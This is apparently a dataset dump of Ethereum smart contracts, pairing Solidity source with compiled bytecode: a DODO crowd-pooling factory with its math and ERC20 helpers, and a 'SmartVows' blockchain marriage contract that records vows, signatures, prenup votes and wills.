function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/Factory/UpCrowdPoolingFactory.sol
/**
* @title UpCrowdPoolingFacotry
* @author DODO Breeder
*
* @notice Create And Register vary price CP Pools
*/
contract UpCrowdPoolingFactory is InitializableOwnable {
using SafeMath for uint256;
// ============ Templates ============
address public immutable _CLONE_FACTORY_;
address public immutable _DVM_FACTORY_;
address public immutable _DEFAULT_MAINTAINER_;
address public immutable _DEFAULT_MT_FEE_RATE_MODEL_;
address public immutable _DEFAULT_PERMISSION_MANAGER_;
address public _CP_TEMPLATE_;
// ============ Settings =============
uint256 public _FREEZE_DURATION_ = 30 days;
uint256 public _CALM_DURATION_ = 0;
uint256 public _VEST_DURATION_ = 0;
uint256 public _CLIFF_RATE_ = 10**18;
// ============ Registry ============
// base -> quote -> CP address list
mapping(address => mapping(address => address[])) public _REGISTRY_;
// creator -> CP address list
mapping(address => address[]) public _USER_REGISTRY_;
// ============ modifiers ===========
modifier valueCheck(
address cpAddress,
address baseToken,
uint256[] memory timeLine,
uint256[] memory valueList)
{
require(timeLine[2] <= _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID");
require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID");
require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID");
require(timeLine[3] >= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID");
_;
}
// ============ Events ============
event NewCP(
address baseToken,
address quoteToken,
address creator,
address cp
);
constructor(
address cloneFactory,
address cpTemplate,
address dvmFactory,
address defaultMaintainer,
address defaultMtFeeRateModel,
address defaultPermissionManager
) public {
_CLONE_FACTORY_ = cloneFactory;
_CP_TEMPLATE_ = cpTemplate;
_DVM_FACTORY_ = dvmFactory;
_DEFAULT_MAINTAINER_ = defaultMaintainer;
_DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel;
_DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager;
}
// ============ Functions ============
function createCrowdPooling() external returns (address newCrowdPooling) {
newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_);
}
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external valueCheck(cpAddress,baseToken,timeLine,valueList) {
{
address[] memory addressList = new address[](7);
addressList[0] = creator;
addressList[1] = _DEFAULT_MAINTAINER_;
addressList[2] = baseToken;
addressList[3] = quoteToken;
addressList[4] = _DEFAULT_PERMISSION_MANAGER_;
addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_;
addressList[6] = _DVM_FACTORY_;
if(valueList[0] == 0) valueList[0] = uint112(-1);
ICP(cpAddress).init(
addressList,
timeLine,
valueList,
isOpenTWAP
);
}
_REGISTRY_[baseToken][quoteToken].push(cpAddress);
_USER_REGISTRY_[creator].push(cpAddress);
emit NewCP(baseToken, quoteToken, creator, cpAddress);
}
// ============ View Functions ============
function getCrowdPooling(address baseToken, address quoteToken)
external
view
returns (address[] memory pools)
{
return _REGISTRY_[baseToken][quoteToken];
}
function getCrowdPoolingBidirection(address token0, address token1)
external
view
returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools)
{
return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]);
}
function getCrowdPoolingByUser(address user)
external
view
returns (address[] memory pools)
{
return _USER_REGISTRY_[user];
}
// ============ Owner Functions ============
function updateCPTemplate(address _newCPTemplate) external onlyOwner {
_CP_TEMPLATE_ = _newCPTemplate;
}
function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner {
_FREEZE_DURATION_ = _newFreeDuration;
}
function setCalmDuration(uint256 _newCalmDuration) public onlyOwner {
_CALM_DURATION_ = _newCalmDuration;
}
function setVestDuration(uint256 _newVestDuration) public onlyOwner {
_VEST_DURATION_ = _newVestDuration;
}
function setCliffRate(uint256 _newCliffRate) public onlyOwner {
require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID");
_CLIFF_RATE_ = _newCliffRate;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636ca2aa95116100f9578063bdeb0a9111610097578063e0f5d89e11610071578063e0f5d89e1461031f578063eb774d0514610327578063ecfc2db01461032f578063f2fde38b14610342576101a9565b8063bdeb0a91146102fc578063c2c2757b1461030f578063ce90ea7414610317576101a9565b806389edcf14116100d357806389edcf14146102c6578063a58888db146102ce578063a6569b3f146102e1578063a820636b146102e9576101a9565b80636ca2aa95146102a357806381ab4d0a146102b65780638456db15146102be576101a9565b80634c59de661161016657806364ddb0131161014057806364ddb013146102605780636556c7e51461027357806369e4e417146102935780636c5ccb9b1461029b576101a9565b80634c59de66146102325780634e71e0c8146102455780635568587a1461024d576101a9565b806307b8a636146101ae5780630d009297146101c357806316048bc4146101d6578063294dafc0146101f45780633ff9b61e1461020957806341a1759c14610211575b600080fd5b6101c16101bc3660046110f9565b610355565b005b6101c16101d1366004610f53565b61038d565b6101de6103ed565b6040516101eb9190611183565b60405180910390f35b6101fc6103fc565b6040516101eb91906113f6565b6101fc610402565b61022461021f366004610f92565b610408565b6040516101eb9291906111d5565b6101c16102403660046110f9565b610500565b6101c1610557565b6101c161025b3660046110f9565b6105e5565b6101c161026e366004610f53565b610614565b610286610281366004610f92565b610660565b6040516101eb91906111c2565b6101de6106e3565b6101de610707565b6101c16102b13660046110f9565b61072b565b6101de61075a565b6101de61077e565b6101de61078d565b6101de6102dc3660046110ce565b610837565b6101de61086c565b6102866102f7366004610f53565b61087b565b6101de61030a36600461108e565b6108f1565b6101fc610933565b6101fc610939565b6101de61093f565b6101de610963565b6101c161033d366004610fca565b610987565b6101c1610350366004610f53565b610e3b565b6000546001600160a01b031633146103885760405162461bcd60e51b815260040161037f906113d3565b60405180910390fd5b600455565b600154600160a01b900460ff16156103b75760405162461bcd60e51b815260040161037f906113a9565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b60065481565b60055481565b6001600160a01b038083166000818152600760208181526040808420958716845294815284832091815284832093835292835290839020815484518185028101850190955280855260609485949091849183018282801561049257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610474575b50505050509150808054806020026020016040519081016040528092919081815260200182805480156104ee57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116104d0575b50505050509050915091509250929050565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161037f906113d3565b670de0b6b3a76400008111156105525760405162461bcd60e51b815260040161037f9061124f565b600655565b6001546001600160a01b031633146105815760405162461bcd60e51b815260040161037f9061127d565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161037f906113d3565b600555565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161037f906113d3565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380831660009081526007602090815260408083209385168352928152908290208054835181840281018401909452808452606093928301828280156106d657602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106b8575b5050505050905092915050565b7f00000000000000000000000072d220ce168c4f361dd4dee5d826a01ad8598f6c81565b7f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161037f906113d3565b600355565b7f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081565b6001546001600160a01b031681565b6002546040516340925bc760e11b81526000916001600160a01b037f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b88811692638124b78e926107e0921690600401611183565b602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108329190610f76565b905090565b6008602052816000526040600020818154811061085057fe5b6000918252602090912001546001600160a01b03169150829050565b6002546001600160a01b031681565b6001600160a01b0381166000908152600860209081526040918290208054835181840281018401909452808452606093928301828280156108e557602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116108c7575b50505050509050919050565b6007602052826000526040600020602052816000526040600020818154811061091657fe5b6000918252602090912001546001600160a01b0316925083915050565b60045481565b60035481565b7f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281565b7f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b8881565b868584846004548260028151811061099b57fe5b602002602001015111156109c15760405162461bcd60e51b815260040161037f9061131f565b600554826004815181106109d157fe5b6020026020010151146109f65760405162461bcd60e51b815260040161037f90611367565b60065481600381518110610a0657fe5b602002602001015114610a2b5760405162461bcd60e51b815260040161037f906112e8565b60035482600381518110610a3b57fe5b60200260200101511015610a615760405162461bcd60e51b815260040161037f906112a4565b60408051600780825261010082019092526060916020820160e0803683370190505090508a81600081518110610a9357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081600181518110610ae157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508981600281518110610b0f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508881600381518110610b3d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281600481518110610b8b57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181600581518110610bd957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000072d220ce168c4f361dd4dee5d826a01ad8598f6c81600681518110610c2757fe5b60200260200101906001600160a01b031690816001600160a01b03168152505086600081518110610c5457fe5b602002602001015160001415610c91576000196dffffffffffffffffffffffffffff1687600081518110610c8457fe5b6020026020010181815250505b6040516341dd3c3360e11b81526001600160a01b038d16906383ba786690610cc39084908c908c908c90600401611203565b600060405180830381600087803b158015610cdd57600080fd5b505af1158015610cf1573d6000803e3d6000fd5b5050505050600760008a6001600160a01b03166001600160a01b031681526020019081526020016000206000896001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550600860008b6001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0bd1e8ce555b4ec75d8b1c8113a8812659e0d94f0b4c67637dc049434604b45d89898c8e604051610e269493929190611197565b60405180910390a15050505050505050505050565b6000546001600160a01b03163314610e655760405162461bcd60e51b815260040161037f906113d3565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082601f830112610ed0578081fd5b813567ffffffffffffffff80821115610ee7578283fd5b602080830260405182828201018181108582111715610f04578687fd5b604052848152945081850192508582018187018301881015610f2557600080fd5b600091505b84821015610f48578035845292820192600191909101908201610f2a565b505050505092915050565b600060208284031215610f64578081fd5b8135610f6f816113ff565b9392505050565b600060208284031215610f87578081fd5b8151610f6f816113ff565b60008060408385031215610fa4578081fd5b8235610faf816113ff565b91506020830135610fbf816113ff565b809150509250929050565b600080600080600080600060e0888a031215610fe4578283fd5b8735610fef816113ff565b96506020880135610fff816113ff565b9550604088013561100f816113ff565b9450606088013561101f816113ff565b9350608088013567ffffffffffffffff8082111561103b578485fd5b6110478b838c01610ec0565b945060a08a013591508082111561105c578384fd5b506110698a828b01610ec0565b92505060c0880135801515811461107e578182fd5b8091505092959891949750929550565b6000806000606084860312156110a2578283fd5b83356110ad816113ff565b925060208401356110bd816113ff565b929592945050506040919091013590565b600080604083850312156110e0578182fd5b82356110eb816113ff565b946020939093013593505050565b60006020828403121561110a578081fd5b5035919050565b6000815180845260208085019450808401835b838110156111495781516001600160a01b031687529582019590820190600101611124565b509495945050505050565b6000815180845260208085019450808401835b8381101561114957815187529582019590820190600101611167565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401529083166040830152909116606082015260800190565b600060208252610f6f6020830184611111565b6000604082526111e86040830185611111565b82810360208401526111fa8185611111565b95945050505050565b6000608082526112166080830187611111565b82810360208401526112288187611154565b838103604085015261123a8187611154565b92505050821515606083015295945050505050565b60208082526014908201527310d417d19050d513d496480e881253959053125160621b604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526024908201527f43505f464143544f5259203a20465245455a455f4455524154494f4e5f494e566040820152631053125160e21b606082015260800190565b6020808252601f908201527f43505f464143544f5259203a20434c4946465f524154455f494e56414c494400604082015260600190565b60208082526028908201527f43505f464143544f5259203a2050484153455f43414c4d5f4455524154494f4e60408201526717d253959053125160c21b606082015260800190565b60208082526022908201527f43505f464143544f5259203a20564553545f4455524154494f4e5f494e56414c604082015261125160f21b606082015260800190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b90815260200190565b6001600160a01b038116811461141457600080fd5b5056fea26469706673582212202c3b06bbf171ccc50b4d0ecf179ce40363dd10e7a2c08282d5d8b96eac5cca4f64736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 6,312 |
0x4b8ede3ef8eb0fe5c869949048c0a0806ca2d6ae
|
pragma solidity ^0.4.17;
//SmartVows Marriage Smart Contract for Partner 1 and Partner 2
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Util{
function Util() public{}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
}
contract SmartVows is Ownable, Util {
// Names of marriage partners
string public partner1_name;
string public partner2_name;
// Partners' eth address
address public partner1_address;
address public partner2_address;
// Partners Vows
string public partner1_vows;
string public partner2_vows;
// Marriage Date
string public marriageDate;
//Marital Status
string public maritalStatus;
// Couple Image Hash
bytes public coupleImageIPFShash;
// Marriage License Image Hash
bytes public marriageLicenceImageIPFShash;
// prenup Text
string public prenupAgreement;
//Last Will and Testaments
string public partner1_will;
string public partner2_will;
// Partners Signed Marriage Contract
bool public partner1_signed;
bool public partner2_signed;
// Partners Voted to update the prenup
bool public partner1_voted_update_prenup;
bool public partner2_voted_update_prenup;
//Partners Voted to update the marriage status
bool public partner1_voted_update_marriage_status;
bool public partner2_voted_update_marriage_status;
// Did both partners signed the contract
bool public is_signed;
// Officiant
string public officiant;
// Witnesses
string public witnesses;
// Location of marriage
string public location;
Event[] public lifeEvents;
struct Event {
uint date;
string name;
string description;
string mesg;
}
uint public eventcount;
// Declare Life event structure
event LifeEvent(string name, string description, string mesg);
contractEvent[] public contractEvents;
struct contractEvent {
uint ce_date;
string ce_description;
string ce_mesg;
}
uint public contracteventcount;
// Declare Contract event structure
event ContractEvent(string ce_description, string ce_mesg);
function SmartVows(string _partner1, address _partner1_address, string _partner2, address _partner2_address, string _marriageDate, string _maritalStatus, string _officiant, string _witnesses, string _location, bytes _coupleImageIPFShash, bytes _marriageLicenceImageIPFShash) public{
partner1_name = _partner1;
partner2_name = _partner2;
partner1_address=_partner1_address;
partner2_address=_partner2_address;
marriageDate =_marriageDate;
maritalStatus = _maritalStatus;
officiant=_officiant;
witnesses=_witnesses;
location=_location;
coupleImageIPFShash=_coupleImageIPFShash;
marriageLicenceImageIPFShash=_marriageLicenceImageIPFShash;
//Record contract creation in events
saveContractEvent("Blockchain marriage smart contract created","Marriage smart contract added to the blockchain");
}
// Add Life event, either partner can update
function addLifeEvent(string name, string description, string mesg) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
saveLifeEvent(name, description, mesg);
}
function saveLifeEvent(string name, string description, string mesg) private {
lifeEvents.push(Event(block.timestamp, name, description, mesg));
LifeEvent(name, description, mesg);
eventcount++;
}
function saveContractEvent(string description, string mesg) private {
contractEvents.push(contractEvent(block.timestamp, description, mesg));
ContractEvent(description, mesg);
contracteventcount++;
}
// Update partner 1 vows only once
function updatePartner1_vows(string _partner1_vows) public {
require((msg.sender == owner || msg.sender == partner1_address) && (bytes(partner1_vows).length == 0));
partner1_vows = _partner1_vows;
}
// Update partner 2 vows only once
function updatePartner2_vows(string _partner2_vows) public {
require((msg.sender == owner || msg.sender == partner2_address) && (bytes(partner2_vows).length == 0));
partner2_vows = _partner2_vows;
}
// Update Marriage status only if both partners have previously voted to update the prenup
function updateMaritalStatus(string _maritalStatus) public {
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_marriage_status == true)&&(partner2_voted_update_marriage_status == true));
saveContractEvent("Marital status updated", strConcat("Marital status changed from ", maritalStatus , " to ", _maritalStatus));
maritalStatus = _maritalStatus;
partner1_voted_update_marriage_status = false;
partner2_voted_update_marriage_status = false;
}
// Partners can sign the contract
function sign() public {
require(msg.sender == partner1_address || msg.sender == partner2_address);
if(msg.sender == partner1_address){
partner1_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 1");
}else {
partner2_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 2");
}
if(partner1_signed && partner2_signed){// if both signed then make the contract as signed
is_signed = true;
}
}
//Function to vote to allow for updating marital status, both partners must vote to allow update
function voteToUpdateMaritalStatus() public {
if(msg.sender == partner1_address){
partner1_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 1 voted to updated Marital Status");
}
if(msg.sender == partner2_address){
partner2_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 2 voted to updated Marital Status");
}
}
//Function to vote to allow for updating prenup, both partners must vote true to allow update
function voteToUpdatePrenup() public {
if(msg.sender == partner1_address){
partner1_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 1 voted to updated Prenuptial Aggreement");
}
if(msg.sender == partner2_address){
partner2_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 2 voted to updated Prenuptial Aggreement");
}
}
// Update coupleImage hash, either partner can update
function updateCoupleImageIPFShash(bytes _coupleImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
coupleImageIPFShash = _coupleImageIPFShash;
}
// Update marriage licence image hash, either partner can update
function updateMarriageLicenceImageIPFShash(bytes _marriageLicenceImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
marriageLicenceImageIPFShash = _marriageLicenceImageIPFShash;
}
// Update prenup text, but only if both partners have previously agreed to update the prenup
function updatePrenup(string _prenupAgreement) public{
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_prenup == true)&&(partner2_voted_update_prenup == true));
prenupAgreement = _prenupAgreement;
saveContractEvent("Update - Prenup", "Prenuptial Agreement Updated");
partner1_voted_update_prenup = false;
partner2_voted_update_prenup = false;
}
// Update partner 1 will, only partner 1 can update
function updatePartner1_will(string _partner1_will) public {
require(msg.sender == partner1_address);
partner1_will = _partner1_will;
saveContractEvent("Update - Will", "Partner 1 Will Updated");
}
// Update partner 2 will, only partner 2 can update
function updatePartner2_will(string _partner2_will) public {
require(msg.sender == partner2_address);
partner2_will = _partner2_will;
saveContractEvent("Update - Will", "Partner 2 Will Updated");
}
}
|
0x6080604052600436106101f85763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663063cea2681146101fd5780630b6bf29f14610287578063133d27e11461029c57806315d51761146102cd5780631856a6df146102e25780631ea5efc4146102f7578063277942db146103205780632a11b950146103355780632ca1512214610432578063391b11ce1461044957806346c797e2146104a25780634d7d8a60146104fb578063516f279e1461051057806352125b8614610525578063531761951461054c5780636033cdc614610561578063705bbf6b1461057657806377790081146105cf5780637ae6b76314610628578063802b1d931461068157806381f2d4ee1461069657806384b08d41146106ef578063854e85c6146107045780638da5cb5b146108675780639b7725241461087c5780639e5f188914610891578063a31f2c52146108a6578063ac12f3e9146108bb578063b53c71b6146108d0578063bb07576d146109a5578063c35740f9146109ba578063c5868754146109cf578063c6998dc2146109e4578063c7e975b814610a3d578063ce4d6fdf14610a52578063ea760df814610a67578063eb2c87a414610a7c578063ec56c6b014610a91578063f2fde38b14610aa6578063f41d1a8214610ac7578063f50ab7b014610adc575b600080fd5b34801561020957600080fd5b50610212610b35565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024c578181015183820152602001610234565b50505050905090810190601f1680156102795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029357600080fd5b50610212610bc3565b3480156102a857600080fd5b506102b1610c1e565b60408051600160a060020a039092168252519081900360200190f35b3480156102d957600080fd5b50610212610c2d565b3480156102ee57600080fd5b50610212610c88565b34801561030357600080fd5b5061030c610ce3565b604080519115158252519081900360200190f35b34801561032c57600080fd5b50610212610cf4565b34801561034157600080fd5b5061034d600435610d4f565b604051808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561039457818101518382015260200161037c565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156103f45781810151838201526020016103dc565b50505050905090810190601f1680156104215780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561043e57600080fd5b50610447610eab565b005b34801561045557600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261044794369492936024939284019190819084018382808284375094975061108b9650505050505050565b3480156104ae57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526104479436949293602493928401919081908401838280828437509497506110f79650505050505050565b34801561050757600080fd5b50610212611159565b34801561051c57600080fd5b506102126111b4565b34801561053157600080fd5b5061053a61120f565b60408051918252519081900360200190f35b34801561055857600080fd5b50610212611215565b34801561056d57600080fd5b50610447611270565b34801561058257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526104479436949293602493928401919081908401838280828437509497506114029650505050505050565b3480156105db57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261044794369492936024939284019190819084018382808284375094975061151c9650505050505050565b34801561063457600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526104479436949293602493928401919081908401838280828437509497506117009650505050505050565b34801561068d57600080fd5b506102126117a6565b3480156106a257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526104479436949293602493928401919081908401838280828437509497506118019650505050505050565b3480156106fb57600080fd5b5061030c6118a4565b34801561071057600080fd5b5061071c6004356118b2565b60405180858152602001806020018060200180602001848103845287818151815260200191508051906020019080838360005b8381101561076757818101518382015260200161074f565b50505050905090810190601f1680156107945780820380516001836020036101000a031916815260200191505b50848103835286518152865160209182019188019080838360005b838110156107c75781810151838201526020016107af565b50505050905090810190601f1680156107f45780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b8381101561082757818101518382015260200161080f565b50505050905090810190601f1680156108545780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561087357600080fd5b506102b1611a9e565b34801561088857600080fd5b5061030c611aad565b34801561089d57600080fd5b506102b1611ab6565b3480156108b257600080fd5b5061030c611ac5565b3480156108c757600080fd5b5061030c611ad5565b3480156108dc57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261044794369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611ae49650505050505050565b3480156109b157600080fd5b50610447611b43565b3480156109c657600080fd5b50610212611ccd565b3480156109db57600080fd5b5061030c611d25565b3480156109f057600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610447943694929360249392840191908190840183828082843750949750611d389650505050505050565b348015610a4957600080fd5b5061030c611da0565b348015610a5e57600080fd5b50610212611db2565b348015610a7357600080fd5b50610212611e0d565b348015610a8857600080fd5b50610212611e68565b348015610a9d57600080fd5b5061053a611ec3565b348015610ab257600080fd5b50610447600160a060020a0360043516611ec9565b348015610ad357600080fd5b50610212611f61565b348015610ae857600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610447943694929360249392840191908190840183828082843750949750611fbb9650505050505050565b600b805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b505050505081565b600c805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b600354600160a060020a031681565b600d805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b6009805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b600e54640100000000900460ff1681565b600a805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b6014805482908110610d5d57fe5b9060005260206000209060030201600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e0f5780601f10610de457610100808354040283529160200191610e0f565b820191906000526020600020905b815481529060010190602001808311610df257829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015610ea15780601f10610e7657610100808354040283529160200191610ea1565b820191906000526020600020905b815481529060010190602001808311610e8457829003601f168201915b5050505050905083565b60035433600160a060020a0390811691161480610ed6575060045433600160a060020a039081169116145b1515610ee157600080fd5b60035433600160a060020a0390811691161415610fa657600e805460ff1916600117